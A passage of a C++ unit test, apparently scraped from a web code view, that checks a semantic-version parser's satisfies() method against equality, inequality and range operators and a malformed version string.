{
|
||||
auto version = GET_SEMVER("1.1.2-prerelease+meta"sv);
|
||||
|
||||
EXPECT(version.satisfies("1.1.2-prerelease+meta"sv));
|
||||
EXPECT(!version.satisfies("1.2.2-prerelease+meta"sv));
|
||||
EXPECT(!version.satisfies("!=1.1.2-prerelease+meta"sv));
|
||||
EXPECT(version.satisfies("!=1.2.2-prerelease+meta"sv));
|
||||
EXPECT(version.satisfies("=1.1.2"sv));
|
||||
EXPECT(version.satisfies("=1.1.2-prerelease+meta"sv));
|
||||
EXPECT(!version.satisfies("=1.1.3"sv));
|
||||
EXPECT(!version.satisfies("==1.1.3-prerelease+meta"sv));
|
||||
EXPECT(version.satisfies("==1.1.2-prerelease"sv));
|
||||
EXPECT(version.satisfies("==1.1.2-prerelease+meta"sv));
|
||||
EXPECT(!version.satisfies("<1.1.1-prerelease+meta"sv));
|
||||
EXPECT(!version.satisfies("<1.1.2-prerelease+meta"sv));
|
||||
EXPECT(version.satisfies("<1.1.3-prerelease+meta"sv));
|
||||
EXPECT(version.satisfies(">1.1.1-prerelease+meta"sv));
|
||||
EXPECT(!version.satisfies(">1.1.2-prerelease+meta"sv));
|
||||
EXPECT(!version.satisfies(">1.1.3-prerelease+meta"sv));
|
||||
EXPECT(version.satisfies(">=1.1.1-prerelease+meta"sv));
|
||||
EXPECT(version.satisfies(">=1.1.2-prerelease+meta"sv));
|
||||
EXPECT(!version.satisfies(">=1.1.3-prerelease+meta"sv));
|
||||
EXPECT(!version.satisfies("<=1.1.1-prerelease+meta"sv));
|
||||
EXPECT(version.satisfies("<=1.1.2-prerelease+meta"sv));
|
||||
EXPECT(version.satisfies("<=1.1.3-prerelease+meta"sv));
|
||||
EXPECT(!version.satisfies("HELLO1.1.2-prerelease+meta"sv));
|
||||
}
|
Loading…
Reference in a new issue